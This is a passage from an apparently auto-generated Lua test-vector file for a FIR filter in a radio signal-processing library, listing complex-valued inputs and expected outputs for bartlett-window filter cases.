0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
outputs = {radio.types.ComplexFloat32.vector_from_array({{0.00000000, 0.00000000}, {-0.00003087, 0.00002933}, {-0.00001651, 0.00001617}, {0.00000759, -0.00001123}, {0.00005385, -0.00002014}, {0.00006388, -0.00009063}, {0.00012169, -0.00015917}, {0.00020020, -0.00025138}, {0.00025113, -0.00026873}, {0.00025196, -0.00019617}, {0.00027122, -0.00013577}, {0.00020929, -0.00002048}, {0.00016935, 0.00013101}, {0.00006710, 0.00032249}, {-0.00009501, 0.00053229}, {-0.00024656, 0.00078818}, {-0.00038840, 0.00105418}, {-0.00049350, 0.00134798}, {-0.00052672, 0.00161547}, {-0.00041916, 0.00190836}, {-0.00020411, 0.00216990}, {0.00013118, 0.00244974}, {0.00046561, 0.00265423}, {0.00084627, 0.00279290}, {0.00125179, 0.00279801}, {0.00161554, 0.00266568}, {0.00183803, 0.00235529}, {0.00194764, 0.00186627}, {0.00186641, 0.00114822}, {0.00153797, 0.00016879}, {0.00105293, -0.00102354}, {0.00035601, -0.00237416}, {-0.00046234, -0.00382082}, {-0.00140115, -0.00532602}, {-0.00239213, -0.00677854}, {-0.00337573, -0.00813901}, {-0.00429176, -0.00933899}, {-0.00511141, -0.01019564}, {-0.00566238, -0.01063240}, {-0.00596131, -0.01060492}, {-0.00594566, -0.00995438}, {-0.00555819, -0.00869578}, {-0.00479026, -0.00683694}, {-0.00369760, -0.00430878}, {-0.00230247, -0.00121871}, {-0.00068067, 0.00236648}, {0.00117742, 0.00628860}, {0.00315236, 0.01050546}, {0.00513966, 0.01482394}, {0.00700111, 0.01901269}, {0.00858117, 0.02284156}, {0.00971774, 0.02611821}, {0.01037532, 0.02852408}, {0.01045645, 0.02986289}, {0.00987683, 0.02990239}, {0.00860996, 0.02847691}, {0.00663392, 0.02539918}, {0.00389111, 0.02052500}, {0.00044762, 0.01382165}, {-0.00356295, 0.00527854}, {-0.00808629, -0.00508901}, {-0.01308853, -0.01720923}, {-0.01840522, -0.03101874}, {-0.02396949, -0.04628837}, {-0.02873885, -0.06345883}, {-0.03324446, -0.08157353}, {-0.03812682, -0.09938493}, {-0.04300230, -0.11758023}, {-0.04681001, -0.13478355}, {-0.04976790, -0.14972630}, {-0.05329388, -0.16195436}, {-0.05640230, -0.17179810}, {-0.05771553, -0.18109652}, {-0.05817871, -0.18797085}, {-0.05722197, -0.19138911}, {-0.05489584, -0.19193639}, {-0.05169271, -0.18938464}, {-0.04559961, -0.18332751}, {-0.03721619, -0.17406908}, {-0.02713740, -0.16187200}, {-0.01518704, -0.14691888}, {-0.00174533, -0.12918295}, {0.01139511, -0.10931657}, {0.02315738, -0.08819685}, {0.03295359, -0.06701060}, {0.04178352, -0.04660507}, {0.05027217, -0.02701813}, {0.05649778, -0.00883721}, {0.06030305, 0.00772060}, {0.06332436, 0.02200474}, {0.06562934, 0.03348172}, {0.06711634, 0.04218589}, {0.06994814, 0.04967725}, {0.07369871, 0.05641181}, {0.07829648, 0.06197118}, {0.08408336, 0.06590869}, {0.09067834, 0.06867709}, {0.09855499, 0.07031815}, {0.10740440, 0.07112072}, {0.11715592, 0.07301734}, {0.12874310, 0.07542290}, {0.14081702, 0.07716595}, {0.15232353, 0.07933716}, {0.16387317, 0.08105785}, {0.17428415, 0.08144904}, {0.18223514, 0.08198477}, {0.18791276, 0.08163835}, {0.19155824, 0.07964478}, {0.19329399, 0.07674526}, {0.19183551, 0.07375557}, {0.18568785, 0.06978224}, {0.17479143, 0.06290217}, {0.15909196, 0.05365704}, {0.13930880, 0.04272734}, {0.11723027, 0.02931195}, {0.09293511, 0.01401244}, {0.06567541, -0.00209512}, {0.03616836, -0.01907879}, {0.00455084, -0.03700137}, {-0.02936447, -0.05579601}, {-0.06399421, -0.07406096}, {-0.09783515, -0.09163721}, {-0.13235490, -0.10933658}, {-0.16841297, -0.12715660}, {-0.20415461, -0.14458933}, {-0.23878011, -0.15933549}, {-0.27109960, -0.16891347}, {-0.30078149, -0.17323717}, {-0.32767338, -0.17327002}, {-0.35029745, -0.16857433}, {-0.36847046, -0.15884107}, {-0.38158932, -0.14449255}, {-0.39078945, -0.12578440}, {-0.39614332, -0.10348921}, {-0.39620239, -0.07803545}, {-0.39127895, -0.04925225}, {-0.38178551, -0.01895152}, {-0.36807486, 0.01192164}, {-0.35164410, 0.04271171}, {-0.33176160, 0.07304557}, {-0.30791876, 0.10236375}, {-0.28095382, 0.12829064}, {-0.25246036, 0.15064058}, {-0.22321485, 0.16828527}, {-0.19405474, 0.18092185}, {-0.16540404, 0.18913275}, {-0.13674414, 0.19270305}, {-0.10878906, 0.19179909}, {-0.08101996, 0.18734542}, {-0.05535501, 0.17909829}, {-0.03258532, 0.16629253}, {-0.01135062, 0.14931588}, {0.00728174, 0.12990223}, {0.02347204, 0.11089548}, {0.03700145, 0.09389029}, {0.04674261, 0.07730420}, {0.05350025, 0.06131393}, {0.05761675, 0.04641955}, {0.05921974, 0.03221809}, {0.05987899, 0.02048819}, {0.06118776, 0.01107290}, {0.06343290, 0.00442315}, {0.06719919, 0.00055732}, {0.07306298, -0.00132817}, {0.08053707, -0.00171206}, {0.08842821, 0.00025577}, {0.09691225, 0.00541097}, {0.10563374, 0.01168549}, {0.11419469, 0.01880126}, {0.12305865, 0.02615389}, {0.13052854, 0.03316362}, {0.13582768, 0.03960187}, {0.13955280, 0.04369204}, {0.14304896, 0.04497832}, {0.14687452, 0.04519928}, {0.14917767, 0.04540846}, {0.14805287, 0.04464921}, {0.14343804, 0.04249893}, {0.13604555, 0.03966379}, {0.12579094, 0.03551123}, {0.11133690, 0.02883869}, {0.09452491, 0.01998279}, {0.07750644, 0.01104892}, {0.06081562, 0.00166924}, {0.04310689, -0.00970371}, {0.02415824, -0.02214973}, {0.00441863, -0.03427221}, {-0.01615063, -0.04485718}, {-0.03549248, -0.05330627}, {-0.05378109, -0.06030690}, {-0.07249156, -0.06616701}, {-0.08966023, -0.07127065}, {-0.10454769, -0.07453229}, {-0.11759893, -0.07450236}, {-0.12685691, -0.07330219}, {-0.13059965, -0.07144932}, {-0.13057697, -0.06816037}, {-0.12702051, -0.06355528}, {-0.11851665, -0.05875490}, {-0.10528876, -0.05582155}, {-0.08817924, -0.05540922}, {-0.06951708, -0.05636950}, {-0.04976957, -0.05769508}, {-0.02794579, -0.06041077}, {-0.00430117, -0.06334088}, {0.01832251, -0.06572115}, {0.03803297, -0.06860931}, {0.05554768, -0.07137325}, {0.06961682, -0.07522870}, {0.07833445, -0.08022962}, {0.08304618, -0.08546965}, {0.08367201, -0.09180768}, {0.07917603, -0.09922079}, {0.07163950, -0.10734496}, {0.06240295, -0.11499837}, {0.05241636, -0.12120850}, {0.04082762, -0.12626110}, {0.02702632, -0.13079916}, {0.01201323, -0.13451479}, {-0.00245000, -0.13649695}, {-0.01417219, -0.13772474}, {-0.02353716, -0.13807292}, {-0.02991487, -0.13680527}, {-0.03206723, -0.13466240}, {-0.02940896, -0.13052998}, {-0.02087356, -0.12356129}, {-0.00719173, -0.11412612}, {0.01177454, -0.10392532}, {0.03622987, -0.09493114}, {0.06481146, -0.08829220}, {0.09691491, -0.08368309}, {0.13098629, -0.07963503}, {0.16420938, -0.07575376}, {0.19564742, -0.07437015}, {0.22473149, -0.07611520}, {0.25207669, -0.07998533}, {0.27657074, -0.08599669}, {0.29557139, -0.09331463}, {0.30844656, -0.10141043}, {0.31614560, -0.11193732}, {0.31868544, -0.12665731}, {0.31479648, -0.14498094}, {0.30466938, -0.16482109}, {0.28953543, -0.18433751}, {0.26969928, -0.20403318}, {0.24595639, -0.22306931}, {0.21836869, -0.24122435}, {0.18704003, -0.25881955}, {0.15314910, -0.27441177}, {0.11782668, -0.28698125}, {0.08342456, -0.29502538}, {0.05023690, -0.29823437}, {0.01832111, -0.29633740}, {-0.01084400, -0.28836000}, {-0.03561426, -0.27464485}, {-0.05657382, -0.25574046}})}
},
{
desc = "128 taps, 0.5 cutoff, 3.0 nyquist, bartlett window, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.5, 3.0, "bartlett"},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
outputs = {radio.types.ComplexFloat32.vector_from_array({{0.00000000, 0.00000000}, {-0.00005781, 0.00005493}, {-0.00004431, 0.00004300}, {0.00001332, -0.00001999}, {0.00012260, -0.00006023}, {0.00014995, -0.00018448}, {0.00019218, -0.00028148}, {0.00021861, -0.00034940}, {0.00013874, -0.00019580}, {-0.00009584, 0.00022832}, {-0.00032011, 0.00065434}, {-0.00059731, 0.00099607}, {-0.00067606, 0.00107802}, {-0.00059948, 0.00081701}, {-0.00037976, 0.00019878}, {0.00004611, -0.00058363}, {0.00058677, -0.00133548}, {0.00112035, -0.00175650}, {0.00151162, -0.00171496}, {0.00170671, -0.00104026}, {0.00153743, 0.00010908}, {0.00097095, 0.00156052}, {-0.00013083, 0.00279850}, {-0.00149037, 0.00342893}, {-0.00272830, 0.00307450}, {-0.00347999, 0.00170015}, {-0.00352332, -0.00046406}, {-0.00259598, -0.00284885}, {-0.00082889, -0.00481857}, {0.00136247, -0.00577838}, {0.00359405, -0.00523689}, {0.00516651, -0.00306463}, {0.00563363, 0.00039567}, {0.00463514, 0.00428904}, {0.00223449, 0.00758662}, {-0.00111774, 0.00914924}, {-0.00463901, 0.00818601}, {-0.00744063, 0.00473365}, {-0.00845245, -0.00056132}, {-0.00721792, -0.00649021}, {-0.00375699, -0.01128366}, {0.00129383, -0.01347835}, {0.00670150, -0.01215317}, {0.01085728, -0.00708546}, {0.01235174, 0.00070537}, {0.01030447, 0.00937570}, {0.00493478, 0.01648702}, {-0.00267011, 0.01995121}, {-0.01057123, 0.01825855}, {-0.01648266, 0.01106675}, {-0.01837468, -0.00048119}, {-0.01509961, -0.01377513}, {-0.00664045, -0.02551051}, {0.00538745, -0.03209709}, {0.01794841, -0.03076838}, {0.02724188, -0.02027724}, {0.02953426, -0.00157739}, {0.02211226, 0.02217427}, {0.00449793, 0.04621813}, {-0.02100555, 0.06499056}, {-0.04963139, 0.07328858}, {-0.07486152, 0.06752004}, {-0.08946291, 0.04653423}, {-0.08749647, 0.01234486}, {-0.06365553, -0.03199970}, {-0.02083806, -0.07797123}, {0.03300294, -0.11607592}, {0.08878770, -0.14361954}, {0.13672608, -0.15561332}, {0.16333795, -0.15138520}, {0.15462692, -0.13639808}, {0.10791893, -0.12090566}, {0.02822474, -0.11916757}, {-0.07834601, -0.13339344}, {-0.19578110, -0.16359074}, {-0.30556461, -0.20929168}, {-0.38936529, -0.26307985}, {-0.42538607, -0.31370962}, {-0.40493634, -0.35016757}, {-0.32808802, -0.36231908}, {-0.20206454, -0.34311256}, {-0.04378112, -0.28983298}, {0.12109908, -0.20728983}, {0.26758650, -0.10589808}, {0.37531275, -0.00008099}, {0.43446448, 0.09596867}, {0.44212779, 0.17181242}, {0.39722559, 0.21929742}, {0.31042314, 0.23576400}, {0.20196858, 0.22217274}, {0.08961289, 0.18373135}, {-0.01142731, 0.12971729}, {-0.08471925, 0.07389738}, {-0.12682496, 0.02575077}, {-0.13971573, -0.01081371}, {-0.12880549, -0.03507571}, {-0.10350837, -0.04674313}, {-0.07065890, -0.04824256}, {-0.03660028, -0.04181551}, {-0.00336913, -0.02549908}, {0.03291422, -0.00335712}, {0.07250264, 0.01961698}, {0.11701888, 0.04505550}, {0.17136572, 0.06971626}, {0.23291948, 0.09042585}, {0.29547319, 0.10983881}, {0.35355765, 0.12347706}, {0.39990062, 0.12743731}, {0.42641678, 0.12209278}, {0.42293996, 0.10904047}, {0.38261503, 0.08692973}, {0.30788064, 0.05385792}, {0.20698796, 0.01662574}, {0.09471516, -0.01597365}, {-0.00994054, -0.03891354}, {-0.09411445, -0.04548161}, {-0.15144037, -0.03141975}, {-0.17724550, -0.00022881}, {-0.17414054, 0.03987679}, {-0.15071838, 0.07762641}, {-0.11435825, 0.10385112}, {-0.07423586, 0.10762014}, {-0.04645484, 0.07936133}, {-0.04265508, 0.01760999}, {-0.06278602, -0.07099509}, {-0.10489461, -0.16969991}, {-0.16261774, -0.25887188}, {-0.22949262, -0.32618144}, {-0.29863566, -0.36588651}, {-0.36050710, -0.37343335}, {-0.41011885, -0.35004306}, {-0.44338915, -0.30325976}, {-0.46232817, -0.24230635}, {-0.46747527, -0.17795993}, {-0.45602274, -0.11764385}, {-0.43085447, -0.06374886}, {-0.39618969, -0.01951758}, {-0.35715929, 0.01792809}, {-0.32185432, 0.05437808}, {-0.29229543, 0.09627426}, {-0.27003288, 0.14731756}, {-0.25848237, 0.20301192}, {-0.26046342, 0.26043841}, {-0.27283370, 0.31134599}, {-0.28896868, 0.34801033}, {-0.29860198, 0.36520252}, {-0.28856131, 0.35766226}, {-0.25103706, 0.32430199}, {-0.18026134, 0.26984274}, {-0.08284722, 0.19971348}, {0.03073354, 0.12064376}, {0.14999066, 0.04366045}, {0.25497538, -0.01781538}, {0.32883367, -0.05121864}, {0.35739383, -0.05321751}, {0.33104241, -0.03471825}, {0.25422662, -0.00628875}, {0.13891448, 0.02107906}, {0.00373417, 0.03600914}, {-0.12545966, 0.03673445}, {-0.22393540, 0.02195828}, {-0.27590171, -0.00293283}, {-0.27349275, -0.02976887}, {-0.21855614, -0.05063726}, {-0.12414285, -0.05766250}, {-0.01095876, -0.04268177}, {0.10264599, -0.00293294}, {0.19962308, 0.05070004}, {0.26830161, 0.10741256}, {0.30634928, 0.15379108}, {0.31280860, 0.17777035}, {0.29433790, 0.17290138}, {0.26388821, 0.13517350}, {0.23508637, 0.07150593}, {0.21559544, 0.00015704}, {0.20136130, -0.06000610}, {0.18391696, -0.09702740}, {0.15778120, -0.10242951}, {0.12063619, -0.07221805}, {0.07100321, -0.01376808}, {0.00864350, 0.05710262}, {-0.05402932, 0.12468573}, {-0.10121825, 0.17723055}, {-0.12213072, 0.19903094}, {-0.11402291, 0.17728865}, {-0.07662959, 0.11353013}, {-0.01404949, 0.01882389}, {0.06248479, -0.08981915}, {0.14257352, -0.19376744}, {0.20773785, -0.27751821}, {0.23741347, -0.32774514}, {0.22437100, -0.33672938}, {0.16547124, -0.30005285}, {0.06284704, -0.22003549}, {-0.06736503, -0.11513349}, {-0.20400937, -0.00394526}, {-0.33227786, 0.09756036}, {-0.43364349, 0.17330655}, {-0.48860002, 0.20964763}, {-0.48828435, 0.19772919}, {-0.43322700, 0.14039746}, {-0.33552590, 0.05269159}, {-0.20831494, -0.04638092}, {-0.06475881, -0.14198764}, {0.07713730, -0.21630736}, {0.19425347, -0.25741312}, {0.27050954, -0.26454049}, {0.30387679, -0.23917183}, {0.29471108, -0.19220018}, {0.24867857, -0.13431157}, {0.18478121, -0.07422581}, {0.12003427, -0.02382801}, {0.06711970, 0.00995124}, {0.04121182, 0.02421011}, {0.04803354, 0.02124399}, {0.08349609, 0.00465719}, {0.13114323, -0.02386395}, {0.17099002, -0.06282006}, {0.18720593, -0.10755541}, {0.16994697, -0.15151536}, {0.11729501, -0.19261082}, {0.02857236, -0.22586885}, {-0.08578980, -0.24507639}, {-0.20683022, -0.24868737}, {-0.31339592, -0.23250343}, {-0.38339964, -0.19581352}, {-0.40328032, -0.14474134}, {-0.36447382, -0.09142545}, {-0.26725930, -0.04939924}, {-0.12498165, -0.02780166}, {0.04430811, -0.02846958}, {0.21630339, -0.04610779}, {0.36434257, -0.07459030}, {0.47167933, -0.11218033}, {0.53040582, -0.15092926}, {0.54432899, -0.17850421}, {0.52030760, -0.18703619}, {0.46666873, -0.17058736}, {0.39946827, -0.12930606}, {0.33779967, -0.07445800}, {0.29386339, -0.02142421}, {0.26978537, 0.01930160}, {0.26431739, 0.04178742}, {0.27231526, 0.04146725}, {0.28204265, 0.01085354}, {0.28185195, -0.04971315}, {0.26029387, -0.13624795}, {0.21112280, -0.24160841}, {0.13748322, -0.35052934}, {0.04898507, -0.44748148}, {-0.03766459, -0.51722598}, {-0.10986803, -0.55144817}, {-0.15768610, -0.54719383}, {-0.17242256, -0.50544733}, {-0.15158808, -0.43526399}, {-0.10528670, -0.34922481}})}
},
{
desc = "128 taps, 0.7 cutoff, 3.0 nyquist, bartlett window, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.7, 3.0, "bartlett"},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 